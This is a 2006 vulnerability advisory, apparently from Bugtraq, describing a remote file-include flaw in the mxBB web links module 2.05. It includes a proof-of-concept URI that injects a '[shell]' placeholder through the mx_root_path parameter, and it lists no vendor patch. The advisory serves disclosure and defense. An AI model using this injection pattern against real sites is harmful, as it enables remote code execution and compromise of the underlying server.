MXBB Web Links Module MX_Root_Path Remote File Include Vulnerability

Bugtraq ID:	21622
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Dec 16 2006 12:00AM
Updated:	Dec 18 2006 04:23PM
Credit:	ajann is credited with the discovery of this vulnerability.
Vulnerable:	mxBB mx web links 2.05
Not Vulnerable:

MXBB Web Links Module MX_Root_Path Remote File Include Vulnerability

The mxBB web links module is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Version 2.05 is vulnerable to this issue; other versions may also be affected.

MXBB Web Links Module MX_Root_Path Remote File Include Vulnerability

An attacker can exploit this issue via a web client.

The following proof-of-concept URI is available:

http://www.example.com/modules/mx_links/language/lang_english/lang_admin.php?mx_root_path=[shell]

MXBB Web Links Module MX_Root_Path Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

MXBB Web Links Module MX_Root_Path Remote File Include Vulnerability

References:

• mx web links module page (mxBB)
  
• Vendor Home Page (mxBB)